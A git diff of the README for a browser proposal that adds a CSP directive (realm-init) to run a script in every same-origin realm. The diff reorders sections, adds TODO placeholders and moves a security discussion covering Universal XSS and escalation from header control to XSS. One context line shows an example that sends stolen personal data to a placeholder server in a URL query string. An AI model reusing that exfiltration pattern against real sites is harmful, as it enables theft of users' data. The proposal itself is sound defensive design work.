Vendors Signal Feedback Cycle 1

README.md

@@ -38,22 +38,28 @@ document.body.appendChild(iframe);
 * [Goals](#Goals)
 * [Proposal](#Proposal)
 * [Example](#Example)
+* [Security](#Security)
 * [Use Cases](#Use-Cases)
-    * [Safe composability](#safe-composability-sandboxing--confinement)
+    * [Safe Composability](#safe-composability-sandboxing--confinement)
     * [Application Monitoring](#application-monitoring-security--errors--performance--ux)
 * [Value](#Value)
     * [User Experience](#User-Experience)
     * [Improved Composability](#Improved-Composability)
-* [Discussion](#Discussion)
-    * [Feasibility and implementation](#Feasibility-and-implementation)
-    * [Canonicality](#Canonicality)
-    * [Multiple CSP policies](#Multiple-CSP-policies)
-* [Insufficient Alternatives](#Insufficient-Alternatives)
-    * [Headers](#headers)
-    * [CSP](#CSP)
 * [Considerations](#Considerations)
-    * [Privacy](#Privacy)
-    * [Security](#Security)
+   * [Privacy](#Privacy)
+   * [Security](#Security-1)
+   * [Feasibility](#Feasibility)
+   * [Canonicality](#Canonicality)
+   * [CSP Integration](#CSP-Integration)
+   * [Performance](#Performance)
+* [Insufficient Alternatives](#Insufficient-Alternatives)
+   * [Realms](#realms)
+   * [Headers](#headers)
+   * [CSP](#CSP)
+   * [ShadowRealms](#ShadowRealms)
+   * [Sandboxed / Cross Origin iframes and Workers](#Sandboxed--Cross-Origin-iframes-and-workers)
+   * [Document Policy](#Document-Policy)
+   * [Permissions Policy](#Permissions-Policy)
 * [Self-Review Questionnaire: Security and Privacy](#self-review-questionnaire-security-and-privacy)
 * [Terminology](#Terminology)
 * [Resources](#Resources)
@@ -238,11 +244,15 @@ const payload = stealPII()
 newFetchInstance(`https://${server}/${path}/?payload=` + payload) 
 ```
 
+## Security
+
+TODO
+
 ## Use Cases
 
 Here are some use cases introduced by the community which led to the composition of this proposal.
 
-### Safe composability (sandboxing / confinement)
+### Safe Composability (sandboxing / confinement)
 
 The ability to safely embed untrusted code in a safe way is important for composability. Platforms can use it to allow their users as well as third party providers to enhance their provided functionality, and provide value to end users.
 
@@ -304,9 +314,58 @@ Not only this will allow to do things apps do today better, but this will also a
 Not being able to secure the origin of the app against untrusted code really limits developers to inferior solutions that require making use of cross origin realms, which effectively limits how far the power of composability can really go.
 Allowing such untrusted code to run in the origin of the app can allow it for example to freely interact with the DOM of the app, which isn't possible when embedded in a cross origin document, and when combined with this proposal, such interaction can be mitigated by the hosting app in a finally secure way. Since this example can be easily extended to many other use cases, it might become clear how such a proposal can unlock new power for web apps in the realm of secure composability and embedding of untrusted code.
 
-## Discussion
+## Considerations
+
+This section focuses on important details that were brought into consideration, as well as conclusions on how to address them.
+
+While important for achieving design that's both good and acceptable by stake holders, these considerations are also expected to be later on refered to and integrated into relevant specs and browsers' implementations (Security and Privacy especially).
+
+### Privacy
+
+This feature doesn't provide any information about the user, and hence doesn't have privacy aspects to consider.
+
+### Security
+
+Here are some security risks to take into consideration when following this spec for implementation purposes:
+
+#### Universal XSS
+
+Since this proposal focuses on the thin line between same and cross origins, it may put SOP in danger if not implemented correctly.
+
+This proposal enables any top-level document to execute remote scripts in same-origin realms.
+
+If implementations somehow enable that execution to happen in cross-origin realms, that can enable cross-origin scripting in those realms.
+
+Since such scenrio is the result of a browser level mistake, running cross-origin scripts like that can be abused by attackers against any origin they choose, making this a far more dangerous version of XSS known as Universal XSS.
+
+Therefore it's important for implementations to get that part right, and for tests to throughly cover that possibility (this is similar to other powerful features that heavily rely on the same-origin policy, such as Service Workers).
+
+#### Escalation to Code Execution
+
+From the perspective of an attacker, this proposal can also be thought of as a way to escalate a CSP directive set power to full code execution, because if the attacker doesn't find a way to introduce an XSS to the web app, but can somehow control parts of the response's headers, they can translate such capability to an effective XSS using this proposal, by simply configuring a CSP header with the proposed `init-realm` directive pointing to a remote script they control.
+
+In this proposal's current form, this in fact is more than just a security consideration, but perhaps an introduction of an unprecedented security concern, where being able to modify headers can result in XSS (which is possible today only via chaining such ability with other security issues in a vulnerable web app).
+
+In that context, it might be worth reflecting possible alternatives and their pros and cons:
+
+1. CSP (via header) - introduce `init-realm` via a CSP header (current proposal's state)
+   * PRO - a capability preserved to the web app (which is the entity expected to be capable of controling such power)
+   * CON - if the web app mistakenly allows other entities to control headers, this feature can allow them to introduce XSS (unprecedented)
+2. CSP (via meta) - introduce `init-realm` via a meta tag
+   * PRO - Better than a header in the sense that transitioning from a headers' setting capability to XSS is unprecedented and quite an escalation, but if attackers need to be able to modify the initial HTML of the app to transition to XSS, that is (1) more unlikely and (2) less of an escalation (if they can inject HTML tags, they might as well inject a script or an iframe).
+   * CON - Even if mitigated, still potentially an escalation, for example if attacker can introduce HTML tags but is blocked from getting them to execute thanks to a strict `script-src` implementation, providing a meta tag with `init-realm` can help them escalate to XSS).
+3. API (via JavaScript) - instead of CSP, export a JavaScript API that registeres the script to run within all realms (e.g. `window.onRealmInit('/scripts/init-realm.js')`)
+   * PRO - This mitigates possibilities for escalations towards code execution, because in order to abuse this feature the attacker must have code execution abilities to begin with
+   * CON - Potentially allows all scripts in the page to register their own script (although probably not an issue for 1st party scripts, as long as order of registration is respected, but perhaps sensitive with 3rd party scripts?)
+   * NOTE - Perhaps in a similar manner to `navigator.serviceWorker.register`?
+
+#### Integrity of Execution Order
+
+When implementing this proposal, it is crucial to correctly instruct the browser to make sure the script provided via the `init-realm` CSP directive is the first JavaScript code to run within the realm, as in before any scripts dictated to run by its associated document (and to repeat that to all nested same origin realms).
+
+Otherwise, a malicious entity can find a way to introduce their own JavaScript code to run before the `init-realm` script, which would count as a complete bypass of this feature effectively which would miss the goal entirely.
 
-### Feasibility and implementation
+### Feasibility
 
 The proposed mechanism mostly relies on functionality already present elsewhere in the browser.
 
@@ -322,7 +381,11 @@ Meaning, the top main realm is the only realm in a webpage with the power to set
 
 This already goes with how CSP is currently enforcing its rules canonically in the lifetime of a webpage. 
 
-### Multiple CSP policies
+### CSP Integration
+
+This section focuses on how should the new RIC CSP directive behave in integration with current properties of CSP.
+
+#### Multiple CSP policies
 
 According to the [W3C CSP spec (enforcing-multiple-policies)](https://www.w3.org/TR/CSP2/#enforcing-multiple-policies), the browser must have a consistent mechanizm for handling multiple CSPs (e.g. 2 setting headers).
 
@@ -342,10 +405,18 @@ Content-Security-Policy: realm-init /x.js /y.js
 
 And will execute the scripts in that order.
 
+### Performance
+
+TODO
+
 ## Insufficient Alternatives
 
 Here are listed some existing security features/controls/APIs that were considered and found insufficient for addressing the issue the RIC proposal attempts to address:
 
+### Realms
+
+TODO
+
 ### Headers
 
 As far as we're aware, there are no headers that can help with mitigating the same origin concern.
@@ -358,54 +429,21 @@ As far as we're aware, there are no CSP directives that can help with mitigating
 
 The only directives that revolve around realms security issues are `iframe` related such as the `frame-src` which suffers from the exact same problems as the `X-frames` header listed above.
 
-## Considerations
+### ShadowRealms
 
-This section focuses on providing important notes to consider in aspects of privacy and security, which should be later on taken into account when integrating this proposal into the relevant specs, as well as when implementing by browsers vendors.
+TODO
 
-### Privacy
+### Sandboxed / Cross Origin iframes and Workers
 
-This feature doesn't provide any information about the user, and hence doesn't have privacy aspects to consider.
+TODO
 
-### Security
+### Document Policy
 
-Here are some security risks to take into consideration when following this spec for implementation purposes:
-
-#### Universal XSS
-
-Since this proposal focuses on the thin line between same and cross origins, it may put SOP in danger if not implemented correctly.
-
-This proposal enables any top-level document to execute remote scripts in same-origin realms.
-
-If implementations somehow enable that execution to happen in cross-origin realms, that can enable cross-origin scripting in those realms.
+TODO
 
-Since such scenrio is the result of a browser level mistake, running cross-origin scripts like that can be abused by attackers against any origin they choose, making this a far more dangerous version of XSS known as Universal XSS.
-
-Therefore it's important for implementations to get that part right, and for tests to throughly cover that possibility (this is similar to other powerful features that heavily rely on the same-origin policy, such as Service Workers).
+### Permissions Policy
 
-#### Escalation to Code Execution
-
-From the perspective of an attacker, this proposal can also be thought of as a way to escalate a CSP directive set power to full code execution, because if the attacker doesn't find a way to introduce an XSS to the web app, but can somehow control parts of the response's headers, they can translate such capability to an effective XSS using this proposal, by simply configuring a CSP header with the proposed `init-realm` directive pointing to a remote script they control.
-
-In this proposal's current form, this in fact is more than just a security consideration, but perhaps an introduction of an unprecedented security concern, where being able to modify headers can result in XSS (which is possible today only via chaining such ability with other security issues in a vulnerable web app).
-
-In that context, it might be worth reflecting possible alternatives and their pros and cons:
-
-1. CSP (via header) - introduce `init-realm` via a CSP header (current proposal's state)
-   * PRO - a capability preserved to the web app (which is the entity expected to be capable of controling such power)
-   * CON - if the web app mistakenly allows other entities to control headers, this feature can allow them to introduce XSS (unprecedented)
-2. CSP (via meta) - introduce `init-realm` via a meta tag
-   * PRO - Better than a header in the sense that transitioning from a headers' setting capability to XSS is unprecedented and quite an escalation, but if attackers need to be able to modify the initial HTML of the app to transition to XSS, that is (1) more unlikely and (2) less of an escalation (if they can inject HTML tags, they might as well inject a script or an iframe).
-   * CON - Even if mitigated, still potentially an escalation, for example if attacker can introduce HTML tags but is blocked from getting them to execute thanks to a strict `script-src` implementation, providing a meta tag with `init-realm` can help them escalate to XSS).
-3. API (via JavaScript) - instead of CSP, export a JavaScript API that registeres the script to run within all realms (e.g. `window.onRealmInit('/scripts/init-realm.js')`)
-   * PRO - This mitigates possibilities for escalations towards code execution, because in order to abuse this feature the attacker must have code execution abilities to begin with
-   * CON - Potentially allows all scripts in the page to register their own script (although probably not an issue for 1st party scripts, as long as order of registration is respected, but perhaps sensitive with 3rd party scripts?)
-   * NOTE - Perhaps in a similar manner to `navigator.serviceWorker.register`?
-
-#### Integrity of Execution Order
-
-When implementing this proposal, it is crucial to correctly instruct the browser to make sure the script provided via the `init-realm` CSP directive is the first JavaScript code to run within the realm, as in before any scripts dictated to run by its associated document (and to repeat that to all nested same origin realms).
-
-Otherwise, a malicious entity can find a way to introduce their own JavaScript code to run before the `init-realm` script, which would count as a complete bypass of this feature effectively which would miss the goal entirely.
+TODO
 
 ## [Self-Review Questionnaire: Security and Privacy](https://w3ctag.github.io/security-questionnaire/)